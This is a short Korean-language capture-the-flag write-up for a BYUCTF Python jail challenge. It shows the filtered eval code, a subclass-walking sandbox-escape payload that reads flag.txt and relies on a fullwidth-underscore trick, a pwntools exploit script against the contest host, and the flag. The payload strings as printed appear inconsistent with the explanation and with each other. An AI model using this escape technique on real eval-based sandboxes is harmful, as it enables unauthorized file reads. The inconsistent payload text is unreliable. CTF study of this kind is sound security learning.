-
Prob
inp = input("code> ")[:72] if "__" in inp: print("Nope") else: print(eval(inp, {"__builtins__": {}}, {"__builtins__": {}}))
Payload
().__class__.__bases__[0].__subclasses__()[124].get_data('.','flag.txt')
이 페이로드는 "__" 필터링을 우회하는 방법으로 "_", "_" 은 다릅니다. 비슷해 보이지만 같지 않습니다.
전각 문자 "_" 는 첫번째가 아니라 두번째 자리에 와야 합니다. 일반 밑줄 다음에 두 번째 전각 문자 "_" 가 오는 경우에만 작동합니다.
Exploit
from pwn import * p = remote("byuctf.xyz", 40006) p.recvuntil('code>') payload = "()__class__.__bases__[0].__subclasses__()[124].get_data('.','flag.txt')" p.sendline(payload) response = p.recv() print(response.decode())
FLAG : byuctf{unicode_is_always_the_solution...}
댓글